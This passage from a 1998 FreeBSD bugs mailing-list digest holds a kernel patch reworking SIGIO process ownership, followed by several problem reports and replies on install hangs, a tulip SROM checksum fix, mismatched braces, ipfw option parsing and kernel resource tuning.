pipe *)fp->f_data; + funsetown(cpipe->pipe_sigio); pipeclose(cpipe); fp->f_data = NULL; return 0; --- net/bpf.c.orig Fri Sep 4 18:14:51 1998 +++ net/bpf.c Fri Sep 11 05:48:18 1998 @@ -61,6 +61,7 @@ #include #include #include +#include /* get fsetown, funsetown, fgetown */ #if defined(sparc) && BSD < 199103 #include @@ -132,6 +133,7 @@ u_int, void (*)(const void *, void *, u_int))); static void reset_d __P((struct bpf_d *)); static int bpf_setf __P((struct bpf_d *, struct bpf_program *)); +static void bpfunsetown __P((struct sigio *sigio)); static d_open_t bpfopen; static d_close_t bpfclose; @@ -380,6 +382,7 @@ register int s; s = splimp(); + funsetown(d->bd_sigio); if (d->bd_bif) bpf_detachd(d); splx(s); @@ -537,11 +540,8 @@ struct proc *p; wakeup((caddr_t)d); - if (d->bd_async && d->bd_sig) - if (d->bd_pgid > 0) - gsignal (d->bd_pgid, d->bd_sig); - else if (p = pfind (-d->bd_pgid)) - psignal (p, d->bd_sig); + if (d->bd_async && d->bd_sig && d->bd_sigio) + pgsigio(d->bd_sigio, d->bd_sig, 0); #if BSD >= 199103 selwakeup(&d->bd_sel); @@ -617,6 +617,19 @@ } /* + * Callback to undo FIOSETOWN on process or process group death + */ +static void +bpfunsetown(sigio) + struct sigio *sigio; +{ + register int s = splimp(); + + funsetown(sigio); + splx(s); +} + +/* * FIONREAD Check for read packet available. * SIOCGIFADDR Get interface address - convenient hook to driver. * BIOCGBLEN Get buffer len [for read()]. @@ -838,18 +851,30 @@ d->bd_async = *(int *)addr; break; -/* N.B. ioctl (FIOSETOWN) and fcntl (F_SETOWN) both end up doing the - equivalent of a TIOCSPGRP and hence end up here. *However* TIOCSPGRP's arg - is a process group if it's positive and a process id if it's negative. This - is exactly the opposite of what the other two functions want! Therefore - there is code in ioctl and fcntl to negate the arg before calling here. */ + case FIOSETOWN: + s = splimp(); + error = fsetown(*(int *)addr, &(d->bd_sigio), bpfunsetown); + splx(s); + break; - case TIOCSPGRP: /* Process or group to send signals to */ - d->bd_pgid = *(int *)addr; + case FIOGETOWN: + s = splimp(); + *(int *)addr = fgetown(d->bd_sigio); + splx(s); break; + /* Deprecated */ + case TIOCSPGRP: + s = splimp(); + error = fsetown(-(*(int *)addr), &(d->bd_sigio), bpfunsetown); + splx(s); + break; + + /* Deprecated */ case TIOCGPGRP: - *(int *)addr = d->bd_pgid; + s = splimp(); + *(int *)addr = -fgetown(d->bd_sigio); + splx(s); break; case BIOCSRSIG: /* Set receive signal */ --- net/bpfdesc.h.orig Sat Feb 22 01:40:57 1997 +++ net/bpfdesc.h Fri Sep 11 03:40:58 1998 @@ -78,7 +78,8 @@ u_char bd_immediate; /* true to return on packet arrival */ int bd_async; /* non-zero if packet reception should generate signal */ int bd_sig; /* signal to send upon packet reception */ - pid_t bd_pgid; /* process or group id for signal */ + struct sigio * bd_sigio; /* credentials and proc * or pgrp * + * for SIGIO/SIGURG */ #if BSD < 199103 u_char bd_selcoll; /* true if selects collide */ int bd_timedout; --- net/if_tun.c.orig Fri Sep 4 18:15:00 1998 +++ net/if_tun.c Fri Sep 11 04:53:33 1998 @@ -30,6 +30,7 @@ #include #include #include +#include #include #include #ifdef DEVFS @@ -215,7 +216,7 @@ } splx(s); } - tp->tun_pgrp = 0; + funsetown(tp->tun_sigio); selwakeup(&tp->tun_rsel); TUNDEBUG ("%s%d: closed\n", ifp->if_name, ifp->if_unit); @@ -372,11 +373,8 @@ tp->tun_flags &= ~TUN_RWAIT; wakeup((caddr_t)tp); } - if (tp->tun_flags & TUN_ASYNC && tp->tun_pgrp) { - if (tp->tun_pgrp > 0) - gsignal(tp->tun_pgrp, SIGIO); - else if ((p = pfind(-tp->tun_pgrp)) != 0) - psignal(p, SIGIO); + if (tp->tun_flags & TUN_ASYNC && tp->tun_sigio) { + pgsigio(tp->tun_sigio, SIGIO, 0); } selwakeup(&tp->tun_rsel); return 0; @@ -434,12 +432,22 @@ *(int *)data = 0; splx(s); break; + case FIOSETOWN: + return (fsetown(*(int *)data, &(tp->tun_sigio), funsetown)); + + case FIOGETOWN: + *(int *)data = fgetown(tp->tun_sigio); + return (0); + + /* Deprecated */ case TIOCSPGRP: - tp->tun_pgrp = *(int *)data; - break; + return (fsetown(-(*(int *)data), &(tp->tun_sigio), funsetown)); + + /* Deprecated */ case TIOCGPGRP: - *(int *)data = tp->tun_pgrp; - break; + *(int *)data = -fgetown(tp->tun_sigio); + return (0); + default: return (ENOTTY); } --- net/if_tunvar.h.orig Fri Sep 11 04:13:34 1998 +++ net/if_tunvar.h Fri Sep 11 04:13:23 1998 @@ -42,7 +42,8 @@ #define TUN_READY (TUN_OPEN | TUN_INITED) struct ifnet tun_if; /* the interface */ - int tun_pgrp; /* the process group - if any */ + struct sigio *tun_sigio; /* credentials and proc * or pgrp * + * for SIGIO/SIGURG */ struct selinfo tun_rsel; /* read select */ struct selinfo tun_wsel; /* write select (not used) */ }; --- net/if_sl.c.orig Fri Sep 4 18:14:57 1998 +++ net/if_sl.c Fri Sep 11 15:41:59 1998 @@ -1016,7 +1016,7 @@ if (sc->sc_keepalive) { if (sc->sc_flags & SC_KEEPALIVE) - pgsignal (sc->sc_ttyp->t_pgrp, SIGURG, 1); + pgsigio (sc->sc_ttyp->t_sigio, SIGURG, 1); else sc->sc_flags |= SC_KEEPALIVE; sc->sc_kahandle = timeout(sl_keepalive, sc, sc->sc_keepalive); --- sys/filedesc.h.orig Fri Sep 4 18:17:03 1998 +++ sys/filedesc.h Fri Sep 11 05:16:47 1998 @@ -37,6 +37,8 @@ #ifndef _SYS_FILEDESC_H_ #define _SYS_FILEDESC_H_ +#include /* For SLIST_HEAD, SLIST_ENTRY */ + /* * This structure is used for the management of descriptors. It may be * shared by multiple processes. @@ -91,10 +93,41 @@ */ #define OFILESIZE (sizeof(struct file *) + sizeof(char)) +/* + * Structure that holds + * The pgid used as an argument to F_SETOWN + * The credentials of the caller + * A pointer to the process or process group referenced by the pgid + * This structure is placed on an SLIST belonging to the proc or pgrp + * so that the entire list may be revoked when the process exits or the + * process group disappears. + */ +struct sigio { + union { + struct proc *siu_proc; /* Process to receive SIGIO/SIGURG */ + struct pgrp *siu_pgrp; /* Process group to receive ... */ + } sio_u; + void (*sio_unsetown) __P((struct sigio *)); + SLIST_ENTRY(sigio) sio_pgsigio; /* sigio's for process or group */ + struct sigio **sio_myref; /* location of the pointer that holds + * the reference */ + struct ucred *sio_ucred; /* Current credentials */ + uid_t sio_ruid; /* Real user id */ + pid_t sio_pgid; /* pgid for signals */ +}; +#define sio_proc sio_u.siu_proc +#define sio_pgrp sio_u.siu_pgrp + +SLIST_HEAD(sigiolst, sigio); + #ifdef KERNEL /* * Kernel global variables and routines. */ +void funsetown __P((struct sigio *)); +void funsetownlst __P((struct sigiolst *)); +int fsetown __P((pid_t, struct sigio **, void (*) (struct sigio *) )); +pid_t fgetown __P((struct sigio *)); int dupfdopen __P((struct filedesc *, int, int, int, int)); int fdalloc __P((struct proc *p, int want, int *result)); int fdavail __P((struct proc *p, int n)); @@ -109,6 +142,10 @@ int getvnode __P((struct filedesc *fdp, int fd, struct file **fpp)); int fdissequential __P((struct file *)); void fdsequential __P((struct file *, int)); +#endif + +#ifdef MALLOC_DECLARE +MALLOC_DECLARE(M_SIGIO); #endif #endif --- sys/pipe.h.orig Fri Sep 4 18:17:06 1998 +++ sys/pipe.h Fri Sep 11 04:39:16 1998 @@ -102,7 +102,8 @@ struct timespec pipe_atime; /* time of last access */ struct timespec pipe_mtime; /* time of last modify */ struct timespec pipe_ctime; /* time of status change */ - int pipe_pgid; /* process/group for async I/O */ + struct sigio *pipe_sigio; /* credentials and proc * or pgrp * + * for SIGIO/SIGURG */ struct pipe *pipe_peer; /* link with other direction */ u_int pipe_state; /* pipe status info */ int pipe_busy; /* busy flag, mostly to handle rundown sanely */ --- sys/proc.h.orig Fri Sep 4 18:17:07 1998 +++ sys/proc.h Fri Sep 11 04:23:59 1998 @@ -52,6 +52,7 @@ #endif #include #include +#include /* For struct sigiolst */ /* * One structure allocated per session. @@ -71,6 +72,7 @@ LIST_ENTRY(pgrp) pg_hash; /* Hash chain. */ LIST_HEAD(, proc) pg_members; /* Pointer to pgrp members. */ struct session *pg_session; /* Pointer to session. */ + struct sigiolst pg_sigiolst; /* List of sigio sources */ pid_t pg_id; /* Pgrp id. */ int pg_jobc; /* # procs qualifying pgrp for job control */ }; @@ -160,6 +162,7 @@ unsigned char p_pfsflags; /* procfs flags */ char p_pad3[2]; /* padding for alignment */ register_t p_retval[2]; /* syscall aux returns */ + struct sigiolst p_sigiolst; /* List of sigio sources */ /* End area that is zeroed on creation. */ #define p_endzero p_startcopy --- sys/signalvar.h.orig Fri Sep 4 18:17:08 1998 +++ sys/signalvar.h Fri Sep 11 05:07:14 1998 @@ -152,6 +152,7 @@ #ifdef KERNEL struct pgrp; struct proc; +struct sigio; /* * Machine-independent functions: @@ -166,6 +167,7 @@ void sigexit __P((struct proc *p, int signum)); void siginit __P((struct proc *p)); void trapsignal __P((struct proc *p, int sig, u_long code)); +void pgsigio __P((struct sigio *, int signum, int checkctty)); /* * Machine-dependent functions: --- sys/socketvar.h.orig Fri Sep 4 18:17:09 1998 +++ sys/socketvar.h Fri Sep 11 04:26:20 1998 @@ -77,7 +77,8 @@ short so_qlimit; /* max number queued connections */ short so_timeo; /* connection timeout */ u_short so_error; /* error affecting connection */ - pid_t so_pgid; /* pgid for signals */ + struct sigio *so_sigio; /* credentials and proc * or pgrp * + * for SIGIO/SIGURG */ u_long so_oobmark; /* chars to oob mark */ /* * Variables for socket buffering. @@ -282,6 +283,7 @@ int soo_poll __P((struct file *fp, int events, struct ucred *cred, struct proc *p)); int soo_stat __P((struct socket *so, struct stat *ub)); +void soo_unsetown __P((struct sigio *)); /* * From uipc_socket and friends --- sys/tty.h.orig Fri Sep 4 18:17:12 1998 +++ sys/tty.h Fri Sep 11 03:40:59 1998 @@ -79,6 +79,8 @@ int t_timeout; /* Timeout for ttywait() */ struct pgrp *t_pgrp; /* Foreground process group. */ struct session *t_session; /* Enclosing session. */ + struct sigio *t_sigio; /* credentials and proc * or pgrp * + * for SIGIO/SIGURG */ struct selinfo t_rsel; /* Tty read/oob select. */ struct selinfo t_wsel; /* Tty write select. */ struct termios t_termios; /* Termios state. */ >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 19:59:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA17024 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 19:59:16 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from peak.mountin.net (peak.mountin.net [207.227.119.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA17015 for ; Fri, 11 Sep 1998 19:59:09 -0700 (PDT) (envelope-from jeff-ml@mountin.net) Received: (from daemon@localhost) by peak.mountin.net (8.9.1/8.9.1) id VAA24764; Fri, 11 Sep 1998 21:58:54 -0500 (CDT) Received: from klinzhai-75.isdn.mke.execpc.com(169.207.65.203) by peak.mountin.net via smap (V1.3) id sma024762; Fri Sep 11 21:58:32 1998 Message-Id: <3.0.3.32.19980911213410.006e3b10@207.227.119.2> X-Sender: jeff-ml@207.227.119.2 X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Fri, 11 Sep 1998 21:34:10 -0500 To: peter.duffy@astrac.com, freebsd-bugs@FreeBSD.ORG From: "Jeffrey J. Mountin" Subject: Re: keyboard lockup on 2.2.5 install boot In-Reply-To: <199809111210.NAA10943@mail.astrac.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 01:09 PM 9/11/98 +0100, peter.duffy@astrac.com wrote: >Further to my bug report yesterday re. keyboard lockup on boot-up from >2.2.5 install disk, I have now established that a 2.1.0 boot disk works >fine on the same machine. Try remaking you 2.2.5 boot disk and make sure to use a floppy that has 0 bad sectors. I've seen a couple times where things went well to a point and then the install blows up and yes I did check, but from format to rawrite to boot something went bad. Jeff Mountin - Unix Systems TCP/IP networking jeff@mountin.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 21:40:08 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA23830 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 21:40:08 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA23791 for ; Fri, 11 Sep 1998 21:40:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id VAA21611; Fri, 11 Sep 1998 21:40:01 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA23668; Fri, 11 Sep 1998 21:39:23 -0700 (PDT) (envelope-from nobody) Message-Id: <199809120439.VAA23668@hub.freebsd.org> Date: Fri, 11 Sep 1998 21:39:23 -0700 (PDT) From: nogamu@sage.ark.com To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: kern/7901: Complains that SCSI Devices arn't "Settled" after configuring kernal upon install freezes - Using adaptec 2920c PCI Card Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7901 >Category: kern >Synopsis: Complains that SCSI Devices arn't "Settled" after configuring kernal upon install freezes - Using adaptec 2920c PCI Card >Confidential: no >Severity: critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Sep 11 21:40:01 PDT 1998 >Last-Modified: >Originator: Peter Dionne >Organization: >Release: 2.2.7 >Environment: >Description: I have a 2920c Adactec PCI Bios Controller, Hewlett Packard 2060i SCSI burner, upon first time configuration of kernal, install freezes and informs me that it is waiting for SCSI Devices to "Settle" >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 22:00:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA25450 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 22:00:05 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA25405 for ; Fri, 11 Sep 1998 22:00:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id WAA21885; Fri, 11 Sep 1998 22:00:00 -0700 (PDT) Received: from ex1.ncsa.uiuc.edu (ex1.ncsa.uiuc.edu [141.142.3.16]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA25073 for ; Fri, 11 Sep 1998 21:56:18 -0700 (PDT) (envelope-from jdugan@ncsa.uiuc.edu) Received: from rivendell.ncsa.uiuc.edu (rivendell.ncsa.uiuc.edu [141.142.21.110]) by ex1.ncsa.uiuc.edu (8.9.1a/8.8.8) with ESMTP id XAA14928 for ; Fri, 11 Sep 1998 23:56:07 -0500 (CDT) Received: from jdugan by rivendell.ncsa.uiuc.edu with local (Exim 1.92 #1) for FreeBSD-gnats-submit@freebsd.org id 0zHhjD-0003BV-00; Fri, 11 Sep 1998 23:56:07 -0500 Message-Id: Date: Fri, 11 Sep 1998 23:56:07 -0500 From: jdugan@ncsa.uiuc.edu Reply-To: jdugan@ncsa.uiuc.edu To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/7902: if_de doesn't properly recognize a "Magic Packet" variant SROM Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7902 >Category: kern >Synopsis: if_de doesn't properly recognize a "Magic Packet" variant SROM >Confidential: no >Severity: serious >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Sep 11 22:00:00 PDT 1998 >Last-Modified: >Originator: Jon Dugan >Organization: NCSA, University of Illinois >Release: 2.2.6-RELEASE >Environment: FreeBSD olorin.ncsa.uiuc.edu 2.2.6-RELEASE FreeBSD 2.2.6-RELEASE #1: Fri Sep 11 23:06:40 CDT 1998 root@olorin.ncsa.uiuc.edu:/usr/src/sys/compile/OLORIN i386 Running on a Hitachi Visionbook Pro 7590. >Description: With 2.2.6-RELEASE and 2.2.7-RELEASE as well (they both use revision 1.54.2.10 of if_de.c) tulip based ethernet interfaces with the "Magic Packet" format SROMs are not properly detected because of a failed checksum. Revision 1.74 of if_de.c has a fix that will handle this, but it's kinda kludgey. My fix actually checks the checksum for the variant SROM format. (The differnce is that the normal SROM checksum is performed on bytes 0-125 and the low order 16 bits of the checksum are stored in bytes 126 & 127 of the SROM. In the case of the "Magic Packet" format SROM the checksum is for bytes 0-93 and the low order 16 bits are stored in bytes 94 & 95.) As far as I can tell the specification provides no way to tell if it is a standard format SROM or a "Magic Packet" SROM. I am not confident that my solution is the right thing to do in all cases, but it does work for me. The docs that I am working from are: http://developer.intel.com/design/network/new21/download/srom_405.doc (in M$ Word format which sucks). I made PostScript and PDF versions of the docs which you can grab at http://rivendell.ncsa.uiuc.edu/~jdugan/srom.{ps,pdf}. I think this patch is a little better than the way the similiar situation is handled in revision 1.74 of if_de.c. Although the 1.74 patch will potentially work in more situations. It should patch against the current RELENG_2_2 (1.54.2.11) just fine. This is the first time I've submitted a pr, so I hope I've covered all the bases, let me know if I missed something... >How-To-Repeat: Boot kernel.GENERIC from at 2.2 system on a Hitachi Visionbook Pro 7590. Although some 7590s may have if_lnc based interfaces...mine has a if_de based interface. >Fix: Here's a patch that will check the checksum for the "Magic Packet" format SROMs: *** if_de.c.orig Fri Sep 11 22:00:19 1998 --- if_de.c Fri Sep 11 23:01:26 1998 *************** *** 2066,2074 **** } #define tulip_mchash(mca) (tulip_crc32(mca, 6) & 0x1FF) ! #define tulip_srom_crcok(databuf) ( \ ! ((tulip_crc32(databuf, 126) & 0xFFFFU) ^ 0xFFFFU) == \ ! ((databuf)[126] | ((databuf)[127] << 8))) static unsigned tulip_crc32( --- 2066,2074 ---- } #define tulip_mchash(mca) (tulip_crc32(mca, 6) & 0x1FF) ! #define tulip_srom_crcok(databuf,len) ( \ ! ((tulip_crc32(databuf, (len)) & 0xFFFFU) ^ 0xFFFFU) == \ ! ((databuf)[(len)] | ((databuf)[(len)+1] << 8))) static unsigned tulip_crc32( *************** *** 2780,2789 **** sc->tulip_boardsw = &tulip_21140_eb_boardsw; } tulip_srom_read(sc); ! if (tulip_srom_crcok(sc->tulip_rombuf)) { /* * SROM CRC is valid therefore it must be in the * new format. */ sc->tulip_features |= TULIP_HAVE_ISVSROM; } else if (sc->tulip_rombuf[126] == 0xff && sc->tulip_rombuf[127] == 0xFF) { --- 2780,2794 ---- sc->tulip_boardsw = &tulip_21140_eb_boardsw; } tulip_srom_read(sc); ! if (tulip_srom_crcok(sc->tulip_rombuf,126)) { /* * SROM CRC is valid therefore it must be in the * new format. + */ + sc->tulip_features |= TULIP_HAVE_ISVSROM; + } else if (tulip_srom_crcok(sc->tulip_rombuf,94)) { + /* + * This controller supports "Magic Packet" */ sc->tulip_features |= TULIP_HAVE_ISVSROM; } else if (sc->tulip_rombuf[126] == 0xff && sc->tulip_rombuf[127] == 0xFF) { >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Sep 11 22:30:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id WAA27459 for freebsd-bugs-outgoing; Fri, 11 Sep 1998 22:30:06 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id WAA27452 for ; Fri, 11 Sep 1998 22:30:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id WAA22385; Fri, 11 Sep 1998 22:30:01 -0700 (PDT) Received: from wafu.netgate.net (wafu.netgate.net [204.145.147.80]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id WAA27183 for ; Fri, 11 Sep 1998 22:24:18 -0700 (PDT) (envelope-from shigio@wafu.netgate.net) Received: (qmail 28091 invoked from network); 11 Sep 1998 21:25:34 -0000 Received: from ins27.tama-ap3.dti.ne.jp (HELO choota.signet.or.jp) (203.181.67.27) by wafu.netgate.net with SMTP; 11 Sep 1998 21:25:34 -0000 Received: (from shigio@localhost) by choota.signet.or.jp (8.8.7/) id OAA21697; Sat, 12 Sep 1998 14:26:36 +0900 (JST) Message-Id: <199809120524.WAA27183@hub.freebsd.org> Date: Sat, 12 Sep 1998 14:26:36 +0900 (JST) From: shigio@wafu.netgate.net Reply-To: shigio@wafu.netgate.net To: FreeBSD-gnats-submit@FreeBSD.ORG Cc: shigio@wafu.netgate.net X-Send-Pr-Version: 3.2 Subject: kern/7903: unmatched '{}' blocks. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7903 >Category: kern >Synopsis: unmatched '{}' blocks. >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Sep 11 22:30:01 PDT 1998 >Last-Modified: >Originator: Shigio Yamaguchi >Organization: Freelance programmer >Release: FreeBSD 3.0-19980804-SNAP >Environment: >Description: I have found three errors which doesn't come up to the surface. Probably nobody define the macros which make valid these blocks. [dev/pdq/pdq_ifsubr.c] Arp_ifinit() start at line 82 and pdq_ifinit() start at line 96 without arp_ifini()'s ending. 80 #if defined(__bsdi__) && _BSDI_VERSION < 199506 /* XXX */ 81 static void > 82 arp_ifinit( 83 struct arpcom *ac, 84 struct ifaddr *ifa) 85 { 86 sc->sc_ac.ac_ipaddr = IA_SIN(ifa)->sin_addr; 87 arpwhohas(&sc->sc_ac, &IA_SIN(ifa)->sin_addr); 88 #if _BSDI_VERSION >= 199401 89 ifa->ifa_rtrequest = arp_rtrequest; 90 ifa->ifa_flags |= RTF_CLONING; 91 #endif 92 #endif 93 94 95 void > 96 pdq_ifinit( 97 pdq_softc_t *sc) 98 { [gnu/i386/isa/dgb.c] It seems that there is a extra '}' at line 2137. 2132 #ifdef LEAVE_FREE_CHARS 2133 if(tail>head) { 2134 size=tail-head-LEAVE_FREE_CHARS; 2135 if (size <0) 2136 size==0; > 2137 } else { 2138 size=port->txbufsize-head; 2139 if(tail+port->txbufsize < head) 2140 size==0; 2141 } 2142 } 2143 #else [pc98/boot/biosboot/boot.c] Extra '{' and '}'. 96 #ifdef PC98 > 97 for(ret = 0; ret < 2; ret ++) { 98 if (*(unsigned char*)V(0xA155d) & (1 << ret)) { 99 bootinfo.bi_bios_geom[ret] = get_diskinfo(ret + 100 } 101 #else /* IBM-PC */ 102 for(ret = 0; ret < N_BIOS_GEOM; ret ++) 103 bootinfo.bi_bios_geom[ret] = get_diskinfo(ret + 0x80); 104 #endif /* PC98 */ > 105 } >How-To-Repeat: >Fix: [dev/pdq/pdq_ifsubr.c] Add '}' at 93. [gnu/i386/isa/dgb.c] Remove '}' at 2137 or add '{' at 2135. [pc98/boot/biosboot/boot.c] Remove '{' at 97 and '}' at 105. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Sep 12 08:30:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA10941 for freebsd-bugs-outgoing; Sat, 12 Sep 1998 08:30:07 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA10920 for ; Sat, 12 Sep 1998 08:30:04 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id IAA09195; Sat, 12 Sep 1998 08:30:02 -0700 (PDT) Received: from ardbeg.komma.de (ardbeg.komma.de [194.77.233.18]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA10648 for ; Sat, 12 Sep 1998 08:25:19 -0700 (PDT) (envelope-from pmh@komma.de) Received: (from pmh@localhost) by ardbeg.komma.de (8.8.8/8.8.8) id RAA00431; Sat, 12 Sep 1998 17:25:00 +0200 (CEST) (envelope-from pmh) Message-Id: <199809121525.RAA00431@ardbeg.komma.de> Date: Sat, 12 Sep 1998 17:25:00 +0200 (CEST) From: "Patrick M. Hausen" Reply-To: pmh@komma.de To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7907: ipfw command line parsing Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7907 >Category: bin >Synopsis: ipfw command line parsing >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sat Sep 12 08:30:01 PDT 1998 >Last-Modified: >Originator: Patrick M. Hausen >Organization: >Release: FreeBSD 2.2.7-RELEASE i386 >Environment: Vanilla 2.2.7-RELEASE >Description: ipfw doesn't grok "-q" when given a rules file as second argument. firewall_quiet="YES" in /etc/rc.conf fails. This is just a little bit inconvenient, nothing serious, so don't bother if there's something more important to do ;-) OTOH: I could provide the necessary patch, if you like. >How-To-Repeat: ipfw -q /some/file/name >Fix: change command line parsing in /usr/src/sbin/ipfw/ipfw.c >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Sep 12 09:50:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA19149 for freebsd-bugs-outgoing; Sat, 12 Sep 1998 09:50:12 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA19069 for ; Sat, 12 Sep 1998 09:50:03 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id JAA11077; Sat, 12 Sep 1998 09:50:01 -0700 (PDT) Date: Sat, 12 Sep 1998 09:50:01 -0700 (PDT) Message-Id: <199809121650.JAA11077@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: "Jeffrey J. Mountin" Subject: Re: misc/7873: poor initial configuration and documentation of kernel resources frustrating! Reply-To: "Jeffrey J. Mountin" Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR misc/7873; it has been noted by GNATS. From: "Jeffrey J. Mountin" To: josh@zcompany.com, freebsd-gnats-submit@FreeBSD.ORG Cc: freebsd-isp@FreeBSD.ORG Subject: Re: misc/7873: poor initial configuration and documentation of kernel resources frustrating! Date: Sat, 12 Sep 1998 11:41:52 -0500 At 02:46 PM 9/9/98 -0700, josh@zcompany.com wrote: >>Description: >The capabilities database (/etc/login.conf) and the kernel resource >limitations are very poorly documented and caused us no end of grief >for a long time trying to extract the maximum performance from our web >servers. >>How-To-Repeat: >install a stock freebsd system and naively change maxusers and the >login class for your web server user and assume all is well :) >>Fix: >Before 3.0 is finalized, how about a generic "high performance" switch. >In specific, I find that we need to do the following to keep apache from >complaining with "resource not available errors": > >add these to the kernel: >options "CHILD_MAX=1024" >options "OPEN_MAX=1024" >options "SOMAXCONN=4096" >options "MAXMEM=(whatever is applicable)" >maxusers 512 Bruce Evans has been shaking his finger at this "old style tweaking" and here is his latest: ----The following reply was made to PR kern/7831; it has been noted by GNATS. From: Bruce Evans To: freebsd-gnats-submit@FreeBSD.ORG, Roy.Nicholl@ASGtechnologies.com Cc: Subject: Re: kern/7831: Inclusion of kernel variable SOMAXCONN as a configurable option Date: Fri, 4 Sep 1998 21:06:22 +1000 >>Description: >In certain situations [i.e. high volume proxy server] it is necessary to adjust the value of >SOMAXCONN upward from its default of 128. Use the kern.ipc.somaxconn variable. SOMAXCONN shouldn't even be visible (since it it just misleading if someone has changed kern.ipc.somaxconn). Bruce ---- I'm not running -current, but I have 3 of the 4 options to change with login.conf and can recompile with a higher maxusers as needed. While 2.2.7 may not have the kern.ipc.somaxconn, a 'sysctl -a' and only that will list kern.somaxconn=X. >and give the user the web server runs as the login class "root" > >These are poorly documented, and given the amount of floundering I've >seen in the mailing list, I'd say a TON of other people run into these >problems. I don't even know if there is more I should do to get better >performance... ??? No documentation I've found in several months of >searching, so how am I to know? Don't know about a "TON", but been there done that: from login.conf(5) These resource limit entries actually specify both the maximum and cur- rent limits (see getrlimit(2)). The current (soft) 